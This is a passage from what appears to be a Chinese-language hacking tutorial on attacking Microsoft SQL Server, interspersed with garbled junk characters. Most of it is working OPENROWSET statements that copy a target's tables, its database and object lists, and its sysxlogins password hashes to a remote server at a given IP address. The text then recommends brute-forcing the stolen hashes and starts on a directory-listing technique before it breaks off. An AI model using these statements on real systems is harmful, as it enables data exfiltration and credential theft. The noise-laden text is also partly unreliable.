insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1') select * from table2 ( l( _% w3 o! w
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如: 3 i k, I4 U' W; A E7 X& oinsert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from table2+ z/ h! h0 w6 |2 c
7 j1 w" p& ?( a$ }insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysdatabases') V8 ~8 X, n# v* a+ ~select * from master.dbo.sysdatabases ! O! X8 e U! h9 ?; p4 z$ A/ ?9 T0 g. b
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysobjects') : z4 j: d5 ^( [' G B; Y1 q

之后,便可以从本地数据库中看到目标主机的库结构,这已经易如反掌,不多讲,复制数据库:( M! M7 y: j3 n- u: O1 ]3 B

5 b' K# W0 _/ A3、 复制哈西表(HASH) 5 `* g6 m7 Y" l6 g" ?7 b; A$ G ! M# P' R6 T5 F+ \* M2 I6 u5 k6 i这实际上是上述复制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下: 1 k+ J, {1 C# U V4 A; V% v) sinsert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins" B* Z5 |5 u! t9 W/ x% l5 b
得到hash之后,就可以进行暴力破解。这需要一点运气和大量时间。 4 f" P" g' m' L4 }4 A, e( b! g * }3 V# Q( W/ v) K遍历目录的方法: # B1 n5 {0 O. M+ M先创建一个临时表:temp; {$ b0 e9 _. z9 Z! q$ Z
